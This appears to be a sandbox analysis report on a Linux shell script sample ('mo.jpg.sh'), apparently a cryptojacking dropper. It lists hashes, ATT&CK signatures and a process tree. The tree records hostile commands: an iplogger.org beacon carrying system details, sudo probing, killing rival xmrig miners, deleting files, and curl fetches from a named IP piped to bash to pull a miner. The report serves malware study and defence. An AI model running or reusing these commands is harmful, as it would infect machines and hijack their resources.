3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f

Resubmissions

21/06/2026, 18:07

260621-wp9vcaft6t10

17/08/2020, 10:59

200817-hb7hcxsyc21

Analysis

max time kernel
25s
max time network
23s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
21/06/2026, 18:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
mo.jpg.sh
Size 16KB
Sample260621-wp9vcaft6t
SHA256 3a377e5baf2c7095db1d7577339e4eb847ded2bfec1c176251e8b8b0b76d393f
MD5 0547bc34c789786ea74bf0435338431b
SHA1 709cc9fe23427e3e81488eb0f360579586be84fb
SHA512 8ce6b80e02b0519bb29dc1e34393319a6efa85ab818ea64c44346be49292d21a3c0fdd63ae515d8e5e88e5429b85211a2b58b5b4993655bfb8d378f79ac195df
SSDEEP 384:6oVbK15HWv4nOqFLiPFUvx7FR8bqS0pij:6abK15HWv4nGPF08bqS0pij
TLSH
T1BA72B7E5F870DAB0702CC0B8713EA1656ACB5C2F12953D74B087BC355949E8C72BDE6A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm defense_evasion discovery privilege_escalation

Malware Config

Signatures

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 2 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
810	sudo
814	sudo

Checks system information (zLinux) 1 TTPs 1 IoCs

Check system information on IBM zSystems which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/sysinfo	lscpu

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	iplogger.org
2	iplogger.org

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	lscpu

Reads CPU attributes 1 TTPs 11 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	lscpu
File opened for reading	/sys/devices/system/cpu/online	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/thread_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_id	lscpu
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/present	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/core_siblings	lscpu
File opened for reading	/sys/devices/system/cpu/cpu0/topology/physical_package_id	lscpu
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/kernel_max	lscpu

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/node	lscpu
File opened for reading	/sys/firmware/efi/systab	lscpu
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/73/cmdline	pkill
File opened for reading	/proc/672/cmdline	pkill
File opened for reading	/proc/667/stat	killall
File opened for reading	/proc/71/cmdline	pkill
File opened for reading	/proc/109/status	pkill
File opened for reading	/proc/832/cmdline	pkill
File opened for reading	/proc/703/stat	killall
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/37/cmdline	pkill
File opened for reading	/proc/70/cmdline	pkill
File opened for reading	/proc/74/status	pkill
File opened for reading	/proc/360/status	pkill
File opened for reading	/proc/672/status	pkill
File opened for reading	/proc/77/status	pkill
File opened for reading	/proc/358/stat	killall
File opened for reading	/proc/153/cmdline	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/704/stat	killall
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/19/stat	killall
File opened for reading	/proc/filesystems	pkill
File opened for reading	/proc/8/status	pkill
File opened for reading	/proc/78/status	pkill
File opened for reading	/proc/358/stat	killall
File opened for reading	/proc/118/cmdline	pkill
File opened for reading	/proc/704/cmdline	pkill
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/3/cmdline	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/9/stat	killall
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/713/stat	killall
File opened for reading	/proc/77/stat	killall
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/21/cmdline	pkill
File opened for reading	/proc/119/cmdline	pkill
File opened for reading	/proc/148/cmdline	killall
File opened for reading	/proc/70/status	pkill
File opened for reading	/proc/705/stat	killall
File opened for reading	/proc/119/stat	killall
File opened for reading	/proc/10/stat	killall
File opened for reading	/proc/14/stat	killall
File opened for reading	/proc/376/status	pkill
File opened for reading	/proc/670/cmdline	pkill
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/82/cmdline	pkill
File opened for reading	/proc/670/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/10/cmdline	pkill
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/707/stat	killall
File opened for reading	/proc/5/stat	killall
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/375/status	pkill
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/11/status	pkill
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/8/cmdline	pkill
File opened for reading	/proc/696/cmdline	killall
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/698/stat	killall
File opened for reading	/proc/3/cmdline	pkill

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.yKPGVU	apt
File opened for modification	/tmp/fileutl.message.1CDVyc	apt
File opened for modification	/tmp/fileutl.message.E64Bqo	apt
File opened for modification	/tmp/fileutl.message.FaPhg6	apt

/tmp/mo.jpg.sh
/tmp/mo.jpg.sh
1⤵
PID:707
- /bin/uname
  uname -a
  2⤵
  PID:721
- /usr/bin/curl
  curl -s -k https://iplogger.org/1Nuxp7 --user-agent TNTcurl --referer "Linux debian9-mipsbe-20260513-en-1 4.9.0-13-4kc-malta #1 Debian 4.9.228-1 (2020-07-05) mips GNU/Linux" -o /dev/null
  2⤵
  PID:724
- /usr/bin/id
  id -u
  2⤵
  PID:738
- /bin/mkdir
  mkdir /usr/share -p
  2⤵
  PID:740
- /usr/bin/cut
  cut -f1 -d.
  2⤵
  PID:743
- /usr/bin/lscpu
  lscpu
  2⤵
  - Checks system information (zLinux)
  - Checks CPU configuration
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  PID:744
- /bin/grep
  grep "^Socket(s):"
  2⤵
  PID:747
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:748
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:749
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:754
- /bin/grep
  grep "^Core(s) per socket:"
  2⤵
  PID:752
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:753
- /bin/grep
  grep "^CPU(s):"
  2⤵
  PID:757
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:758
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:759
- /bin/grep
  grep "^CPU MHz:"
  2⤵
  PID:762
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:763
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:764
- /bin/grep
  grep "^L1d"
  2⤵
  PID:767
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:768
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:769
- /bin/sed
  sed "s/ \\?K\$iB\$\\?\$//"
  2⤵
  PID:770
- /bin/grep
  grep MiB
  2⤵
  PID:772
- /bin/grep
  grep "^L2"
  2⤵
  PID:775
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:776
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:777
- /bin/sed
  sed "s/ \\?K\$iB\$\\?\$//"
  2⤵
  PID:778
- /bin/grep
  grep MiB
  2⤵
  PID:780
- /usr/bin/cut
  cut -d: -f2
  2⤵
  PID:784
- /bin/grep
  grep "^L3"
  2⤵
  PID:783
- /bin/sed
  sed "s/^[ \\t]*//"
  2⤵
  PID:785
- /bin/sed
  sed "s/ \\?K\$iB\$\\?\$//"
  2⤵
  PID:786
- /bin/grep
  grep MiB
  2⤵
  PID:788
- /usr/bin/apt
  apt install -y bc
  2⤵
  - Writes file to tmp directory
  PID:790
- - /usr/bin/dpkg
    /usr/bin/dpkg --print-foreign-architectures
    3⤵
    PID:791
- /bin/sleep
  sleep 2
  2⤵
  PID:793
- /usr/bin/sudo
  sudo -n true
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:810
- - /bin/true
    true
    3⤵
    PID:813
- /usr/bin/sudo
  sudo systemctl stop crypto.service
  2⤵
  - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
  PID:814
- - /bin/systemctl
    systemctl stop crypto.service
    3⤵
    - Enumerates kernel/hardware configuration
    PID:816
- /usr/bin/killall
  killall -9 xmrig
  2⤵
  - Reads runtime system information
  PID:818
- /bin/rm
  rm -f /usr/bin/docker-update
  2⤵
  PID:820
- /usr/bin/pkill
  pkill -f /usr/bin/docker-update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:822
- /usr/bin/killall
  killall -9 docker-update
  2⤵
  - Reads runtime system information
  PID:823
- /bin/rm
  rm -f /usr/bin/redis-backup
  2⤵
  PID:825
- /usr/bin/pkill
  pkill -f /usr/bin/redis-backup
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:827
- /usr/bin/killall
  killall -9 redis-backup
  2⤵
  - Reads runtime system information
  PID:828
- /bin/rm
  rm -f /tmp/moneroocean/xmrig
  2⤵
  PID:830
- /usr/bin/pkill
  pkill -f /tmp/moneroocean/xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:831
- /bin/rm
  rm -fr /tmp/moneroocean/
  2⤵
  PID:833
- /usr/bin/killall
  killall -9 xmrig
  2⤵
  - Reads runtime system information
  PID:834
- /usr/bin/curl
  curl http://129.211.98.236/ps/clean.jpg
  2⤵
  PID:837
- /bin/bash
  bash
  2⤵
  PID:838
- /usr/bin/curl
  curl -L --progress-bar http://129.211.98.236/xmr/mo/mod.jpg -o /tmp/xmrig.tar.gz
  2⤵
  PID:857